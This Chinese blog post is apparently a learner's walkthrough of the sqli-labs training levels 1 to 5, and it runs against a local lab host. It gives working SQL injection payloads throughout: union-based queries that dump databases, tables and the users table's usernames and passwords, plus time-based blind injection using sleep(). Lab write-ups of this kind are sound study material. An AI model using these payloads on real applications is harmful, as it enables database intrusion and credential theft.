SQL注入——sqli-labs闯关笔记.更新中
本文最后更新于 209 天前,其中的信息可能已经有所发展或是发生改变。

在学完合天的初级sql注入后,感觉自己掌握的不够扎实,所以想做一下sqli-labs,并记录一下各个关卡是如何通过的。

Less-1——基于单引号的字符型注入

1.经过语句测试,页面回显正常,可以判断不是数值查询

http://127.0.0.1/sqli/Less-1/?id=1 and 1=2

2.尝试在后面加上’ ,发现回显不正常,可能存在SQL字符注入

http://127.0.0.1/sqli/Less-1/?id=1%27

3.输入–+将后面的语句注释掉,回显正常,则可以判断是单引号字符型注入。

4.使用order by pan判断表中一共有几列数据.

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

order by 3回显正常,而order by 4回显错误,说明有三列数据

5.将ID改为不存在的值,使用语句联合查询,报显示位.

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+

6.报出所有的数据库

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

7.报出数据库内的表

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

8.报出表中的列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

9.查数据,得到用户名和密码.

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+

Less-2——布尔型注入

方法同Less-1, id=1 and 1=1

Less-3——基于’)字符型注入

方法同Less-1,id=1′) and 1=1

Less4——基于”)字符型注入

方法同Less-1,id=1″) and 1=1

Less5——双注入GET单引号字符型注入

输入?id=1弹出这个界面

输入?id=1’弹出

一般这种应该是盲注入,比较麻烦需要一个一个去试一下。所以尽量使用sqlmap

方法一:时间延迟型手工注入

如果正确会有时间的延迟,如果错误就没有延迟,主要看浏览器的刷新时间。

在我上一篇的文章sql初级注入中有提到,可以去看看。

1.报库长,判断当前数据库的长度为多少

if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。如 select if ((select database())=’secur’,sleep(10),null)即为判断当当前数据库的名字为secur的时候,数据库程序会休眠10秒

http://127.0.0.1/sqli/Less-5/?id=1'  and if(length(database())=8,sleep(5),1)--+

明显延迟,说明数据库长度为8,也可以用大于号或者小于号来判断,用于缩小范围,如:

http://127.0.0.1/sqli/Less-5/?id=1'  and if(length(database())<8,sleep(5),1)--+

2.报库名

http://127.0.0.1/sqli/Less-5/?id=1'  and if(left(database(),1)='s',sleep(5),1)--+

明显延迟,说明第一个第一个字符是s,剩下的七个字符一个一个用同样的方法去试一试(脑瘫操作)

试出数据库为‘security’

3.报表名

http://127.0.0.1/sqli/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

4.爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

5.出数据

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

sql盲注入是非常麻烦,感觉还是sqlmap好用一些。

Mysql中limit的用法详解 链接↓

https://blog.csdn.net/tuenbotuenbo/article/details/7974909?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

文章作者: 梦瑾
文章链接:http://www.mahuiwang.cn/index.php/2020/10/03/sql%e6%b3%a8%e5%85%a5-sqli-labs%e9%97%af%e5%85%b3%e7%ac%94%e8%ae%b0/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 梦瑾的小屋
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇